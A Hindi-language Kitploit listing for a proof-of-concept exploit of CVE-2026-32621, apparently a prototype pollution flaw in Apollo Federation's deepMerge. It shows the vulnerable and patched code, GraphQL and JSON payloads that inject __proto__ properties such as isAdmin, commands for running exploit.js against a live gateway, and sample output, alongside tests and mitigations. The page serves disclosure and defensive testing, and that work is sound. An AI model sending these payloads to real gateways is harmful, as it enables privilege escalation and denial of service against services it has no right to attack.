Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/sam00/poc-cve-2026-32621-apollo-federation-xss-vulnerability
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणAPI सुरक्षा
GitHubsam00/poc-cve-2026-32621-apollo-federation-xss-vulnerability

POC-CVE-2026-32621-Apollo-Federation-XSS-Vulnerability

CVE-2026-32621 के लिए PoC एक्सप्लॉइट जो गढ़े गए GraphQL एलियास के माध्यम से Apollo Federation deepMerge प्रोटोटाइप प्रदूषण को प्रदर्शित करता है, साथ ही पैच किए गए संस्करण के परीक्षण भी शामिल हैं।

रिपॉजिटरी देखें
31 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-32621 - Apollo Federation प्रोटोटाइप प्रदूषण PoC

अवलोकन

फ़ील्डमान
CVECVE-2026-32621
CVSS9.9 क्रिटिकल
CWECWE-1321 (प्रोटोटाइप प्रदूषण)
प्रभावितApollo Federation < 2.9.6, < 2.10.5, < 2.11.6, < 2.12.3, < 2.13.2
पैच किया गया2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
GHSAGHSA-pfjj-6f4p-rvmh

भेद्यता विवरण

Apollo Federation का deepMerge फ़ंक्शन (जो @apollo/query-planner और @apollo/gateway में क्वेरी प्लान निष्पादन के दौरान सबग्राफ प्रतिक्रियाओं को मर्ज करने के लिए उपयोग किया जाता है) target[key] एक्सेस करने से पहले कुंजियों को सैनिटाइज़ करने में विफल रहता है।

जब कोई स्रोत ऑब्जेक्ट में __proto__ अपनी स्वयं की प्रॉपर्टी के रूप में होता है (जो JSON.parse बनाता है), Object.keys() इसे लौटाता है, और target["__proto__"] प्रोटोटाइप श्रृंखला के माध्यम से Object.prototype पर हल होता है। मर्ज तब गुणों को सीधे Object.prototype पर लिखता है, पूरे Node.js प्रक्रिया के लिए वैश्विक प्रोटोटाइप श्रृंखला को प्रदूषित करता है।

मूल कारण

root@kitploit:~
// VULNERABLE (pre-patch)
for (const key of Object.keys(source)) {
  if (target[key] && isObject(source[key])) {
    deepMerge(target[key], source[key]);  // target["__proto__"] = Object.prototype!
  } else {
    target[key] = source[key];            // Direct assignment to prototype
  }
}

// PATCHED (post-patch)
for (const key of Object.keys(source)) {
  defineOwn(target, key);  // <-- Fix: shadows prototype property with own property
  if (target[key] && isObject(source[key])) {
    deepMerge(target[key], source[key]);
  }
}

हमले के वेक्टर

1. क्लाइंट-साइड (दुर्भावनापूर्ण GraphQL क्वेरी)

एक क्लाइंट __proto__, constructor, या prototype नामक फ़ील्ड उपनामों के साथ एक GraphQL क्वेरी भेजता है। जब गेटवे प्रतिक्रिया को संसाधित करता है, deepMerge इन उपनामों को कुंजियों के रूप में उपयोग करता है, जिससे Object.prototype प्रदूषित हो जाता है।

root@kitploit:~
query {
  __proto__: products {
    polluted: id
  }
}

2. सबग्राफ-साइड (समझौता किया गया सबग्राफ)

एक समझौता किया गया सबग्राफ __proto__ कुंजियों के साथ JSON लौटाता है। जब गेटवे deepMerge के माध्यम से प्रतिक्रिया को मर्ज करता है, Object.prototype प्रदूषित हो जाता है।

root@kitploit:~
{"data":{"__proto__":{"isAdmin":true,"polluted":"yes"}}}

3. नेस्टेड श्रृंखला

root@kitploit:~
query {
  constructor: products {
    prototype: id
  }
}

प्रभाव

  • विशेषाधिकार वृद्धि: isAdmin, role, permissions गुणों को इंजेक्ट करें
  • सेवा से वंचित (Denial of Service): toString, valueOf को null/टूटे फ़ंक्शनों से ओवरराइड करें
  • डेटा अखंडता: ऐसे गुण इंजेक्ट करें जो व्यावसायिक तर्क को प्रभावित करते हैं
  • स्थायी: प्रदूषण गेटवे इंस्टेंस पर होने वाले सभी बाद के अनुरोधों को प्रभावित करता है
  • क्रॉस-अनुरोध: हमले के बाद किसी भी अनुरोध को प्रदूषित प्रोटोटाइप दिखाई देते हैं

दस्तावेज़ीकरण

दस्तावेज़सामग्री
USAGE.mdचरण-दर-चरण निर्देशों के साथ विस्तृत उपयोग मार्गदर्शिका
DIAGRAM.mdसंरचना आरेख और हमले के प्रवाह का विज़ुअलाइज़ेशन

फ़ाइलें

फ़ाइलउद्देश्य
exploit.js5 हमले वैक्टर + स्थानीय प्रदर्शन के साथ मुख्य शोषण
test_exploit.jsयूनिट परीक्षण (15 परीक्षण जो प्रदूषण और पैच को मान्य करते हैं)
e2e_test.jsएंड-टू-एंड सत्यापन (10 परीक्षण: गेटवे + शोषण + सत्यापन)
setup_vulnerable.jsपरीक्षण के लिए कमजोर गेटवे सिम्युलेटर

उपयोग

त्वरित प्रारंभ (स्थानीय प्रदर्शन)

root@kitploit:~
# Run the local deepMerge vulnerability demonstration
node exploit.js

यह चल रहे गेटवे की आवश्यकता के बिना सटीक कमजोर कोड पथ प्रदर्शित करता है।

पूर्ण शोषण (कमजोर गेटवे के साथ)

root@kitploit:~
# Terminal 1: Start vulnerable gateway simulator
node setup_vulnerable.js 4000

# Terminal 2: Run exploit against gateway
node exploit.js -u http://localhost:4000/graphql

परीक्षण चलाएँ

root@kitploit:~
# Unit tests (15 tests)
node test_exploit.js

# End-to-end tests (10 tests - starts gateway, sends exploits, verifies pollution)
node e2e_test.js

वास्तविक Apollo गेटवे के विरुद्ध शोषण

root@kitploit:~
# Target a real vulnerable Apollo Gateway instance
node exploit.js -u http://target-gateway:4000/graphql

उदाहरण आउटपुट

root@kitploit:~
======================================================================
  CVE-2026-32621 - Apollo Federation Prototype Pollution
  CVSS 9.9 Critical | CWE-1321
  Patched: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
======================================================================

======================================================================
  Direct deepMerge Vulnerability Demonstration
  (Reproduces the exact vulnerable code path)
======================================================================

[Test 1] __proto__ pollution via JSON.parse source
  Source keys: __proto__
  source.__proto__ is own property: true
  VULNERABLE: Object.prototype.polluted_test1 = true
  PATCHED:    Object.prototype.polluted_test1 = undefined

[Test 2] constructor.prototype pollution
  VULNERABLE: Object.prototype.polluted_test2 = true
  PATCHED:    Object.prototype.polluted_test2 = undefined

--------------------------------------------------
  RESULTS SUMMARY
--------------------------------------------------
  [VULNERABLE] __proto__ via JSON.parse
  [SAFE]       __proto__ via JSON.parse (patched)
  [VULNERABLE] constructor.prototype
  [SAFE]       constructor.prototype (patched)

हमले की श्रृंखला आरेख

root@kitploit:~
Client            Apollo Gateway              Subgraph
  │                   │                         │
  │  GraphQL query    │                         │
  │  with __proto__   │                         │
  │  field alias      │                         │
  │ ────────────────► │  Forward query          │
  │                   │ ──────────────────────► │
  │                   │                         │
  │                   │  JSON response with     │
  │                   │  __proto__ as own prop  │
  │                   │ ◄────────────────────── │
  │                   │                         │
  │                   │  deepMerge() called     │
  │                   │  target["__proto__"]   │
  │                   │  → Object.prototype     │
  │                   │  ⚠ POLLUTED!            │
  │                   │                         │
  │  200 OK           │                         │
  │  polluted: true   │                         │
  │ ◄──────────────── │                         │
  │                   │                         │
  │  ALL subsequent requests inherit polluted   │
  │  properties (isAdmin, polluted, etc.)       │

पूर्ण आर्किटेक्चर आरेखों के लिए DIAGRAM.md देखें।

शमन

  1. अपग्रेड करें पैच किए गए संस्करणों में: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
  2. इनपुट फ़िल्टरिंग: फ़ील्ड उपनामों और चर नामों में __proto__, constructor, prototype युक्त GraphQL ऑपरेशनों को ब्लॉक करें
  3. सबग्राफ विश्वास: सुनिश्चित करें कि सभी सबग्राफ विश्वसनीय स्रोतों से हैं
  4. Object.create(null): जहाँ संभव हो null-प्रोटोटाइप ऑब्जेक्ट का उपयोग करें

संदर्भ

  • NVD प्रविष्टि
  • GitHub सलाहकार GHSA-pfjj-6f4p-rvmh
  • Apollo Federation सुरक्षा सलाहकार
  • CWE-1321

लाइसेंस

MIT

टूल डाउनलोड करें